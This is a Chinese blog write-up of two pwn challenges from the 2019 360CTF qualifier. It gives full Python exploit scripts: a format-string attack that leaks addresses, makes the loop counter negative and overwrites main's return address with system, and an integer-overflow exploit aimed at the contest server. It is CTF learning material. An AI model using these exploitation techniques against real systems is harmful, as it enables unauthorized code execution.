2019-360ctf-初賽pwn
sfftlt_發表於2019-10-19
2019-360CTF-初賽
初賽很適合入門,好久沒打ctf了格式化字串也卡了一會。。。分享一下exp水一篇,一道格式化字串(用法差不多都考到了),一道整數溢位。
pwn1
明顯的格式化字串漏洞,但是有操作限制,只能操作三次。
剛開始的想法是,改bss段的num_limit,但是三次操作很少,至少四次才能改bss段的num_limit。
在這裡也發現一個東西,就是比如下面有四個記憶體 A | B | C |D 其中B->D 我剛開始有一個不成熟的想法: 我可不可以用 %8c$2$n%4$n 來連續操作呢? 連續操作的意思如下,如果他是順序執行的 執行到 %8c$2$n的時候記憶體已經被改為 A | B | C |D2 那麼接下來執行%4$n的時候,就可以向D2指向的記憶體裡面寫啦? 事實證明並不可行,%4$n的時候還是向D指向的記憶體中去寫,我大膽猜測了一下,執行printf的時候,他應該把 執行現場 都已經儲存了,所以操作的時候,還是根據他儲存的現場進行操作。
後面和其他pwn手交流了一下,其實我們可以修改stack裡面的i,i是儲存在stack裡面的啊,真是o(╥﹏╥)o了,卡了好一會呢,可以把i改成負數,後面就是常規fmt操作了。
int i; // [esp+Ch] [ebp-14h] for ( i = 0; i < limit; ++i )
exp如下:
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn10' #ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #ctx.remote = ('180.153.183.102', 10001) #ctx.debug_remote_libc = True ctx.breakpoints = [0x81C] #ctx.debug() ctx.symbols = {'node':0x2008,} def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def run(payload): sla('Exit',1) sa('something\n',payload) rs() #rs('remote') context.log_level = 'info' #leak and break through the num_limit payload = '%p%6$p%15$p\n' run(payload) #1 limit = int(r(10),16) stack_main_ret = int(r(10),16) - 0xa8 stack2 = stack_main_ret - 0x38 main_ret = int(r(10),16) i_addr = stack_main_ret - 4 - 0x14 system = main_ret + 0x22769 lg('stack_main_ret',stack_main_ret) lg('main_ret',main_ret) lg('i_addr',i_addr) lg('stack2',stack2) #dbg() part = i_addr&0xffff payload = '%'+str(part+2)+'d' payload += '%6$hn' run(payload) payload = '%'+str(0xffff)+'d' #modify the i to a negative number. payload += '%57$hn' run(payload) #dbg() #modify the stack_main_ret #write the system_addr on the stack_main_ret part = stack_main_ret&0xffff payload = '%'+str(part+0x10)+'d' payload += '%6$hn' run(payload) part = system&0xffff payload = '%'+str(part)+'d' payload += '%57$hn' run(payload) part = stack_main_ret&0xffff payload = '%'+str(part+2+0x10)+'d' payload += '%6$hn' run(payload) part = system&0xffff0000 part = part >> 16 payload = '%'+str(part)+'d' payload += '%57$hn' run(payload) #write the buf_addr on the stack_main_ret part = stack_main_ret&0xffff payload = '%'+str(part+8+0x10)+'d' payload += '%6$hn' run(payload) part = limit&0xffff payload = '%'+str(part)+'d' payload += '%57$hn' run(payload) part = stack_main_ret&0xffff payload = '%'+str(part+2+8+0x10)+'d' payload += '%6$hn' run(payload) part = limit&0xffff0000 part = part >> 16 payload = '%'+str(part)+'d' payload += '%57$hn' run(payload) payload = 'cat ./flag\0' run(payload) sleep(0.1) sl('2') irt()
pwn2
考察點:整數溢位,原理我也寫過,不太熟悉的可以看看文章,再寫幾個demo檢視一下記憶體就明白了。
exp如下:
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './pwn11' #ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('180.153.183.102', 10002) #ctx.debug_remote_libc = True ctx.symbols = { 'lst':0x2022a0, 'stderr':0x202160, #0x18eea0 } ctx.breakpoints = [0x400955]#bypass1 400955 ctx.debug() def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) #rs() rs('remote') #dbg('c') sla('x: ',359) sla('y: ',str(0xffffffff)) ru('x and y:') sl('4') sl(str(0x4000005a)) irt()
結語
越來越菜,難題做不出,簡單題也。。。
相關文章
- pwn初識格式化字串漏洞2018-12-02字串
- DASCTF2022.07賦能賽PWN部分WP2024-08-02TF2
- 2024春秋杯網路安全聯賽夏季賽-PWN-Writeup2024-07-09
- 2024初賽2024-09-20
- 2024base新生賽week4pwn——ezstack2024-11-30
- 初賽筆記2024-07-27筆記
- [CISCN2024]華中半決賽 PWN部分題解2024-06-25
- 高校戰“疫”網路安全分享賽-部分PWN題-wp2020-04-11
- Pwn2Own黑客大賽:Safari瀏覽器被入侵2018-03-16黑客瀏覽器
- 22藍帽杯初賽2024-07-26
- 2024矩陣杯初賽2024-07-26矩陣
- [CISCN 2019 初賽]Love Math2024-07-22
- Pwn2Own黑客大賽首日:Safari、IE8被攻破2019-05-14黑客
- CSP-S2024初賽心得2024-09-21
- CSP-S 2024 初賽解析2024-09-22
- CSP-J 2024 初賽解析2024-09-22
- 全國大學生資訊保安競賽初賽writeup2020-08-27
- DASCTF 2023 & 0X401七月暑期挑戰賽【PWN】(FileEditor篇)2024-07-24
- DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)2024-07-23
- 1155000美元獎金,Pwn2Own 2022溫哥華黑客大賽落幕2022-05-23黑客
- Pwn2Own 2020 春季賽落下帷幕,Fluoroacetate 團隊成最大贏家2020-03-22
- Pwn2Own Toronto駭客大賽首日,參賽者兩度攻破三星Galaxy S232023-10-25
- Pwn buuctf 合集2024-11-29
- NewStarCTF-pwn2024-11-13
- 【Pwn】maze - writrup2024-07-28
- windows pwn(一)2023-03-01Windows
- 2020 年百度之星程式設計大賽 - 初賽三2020-07-26程式設計
- 2020年百度之星程式設計大賽-初賽二2020-07-25程式設計
- 「Grow」CSP初賽 2024 可樂消失記2024-09-21
- Pwn 亂刷合集2024-11-25
- 923 pwn學習2024-09-24
- pwn前置知識2024-07-30
- CTF_pwn_堆2024-07-30
- PWN系列-初探IO2024-05-23
- 2021能源PWN wp2021-10-21
- 虛擬PWN初探2020-09-11
- Arm pwn學習2020-08-07
- 第二屆隴劍杯 初賽全WP2024-10-24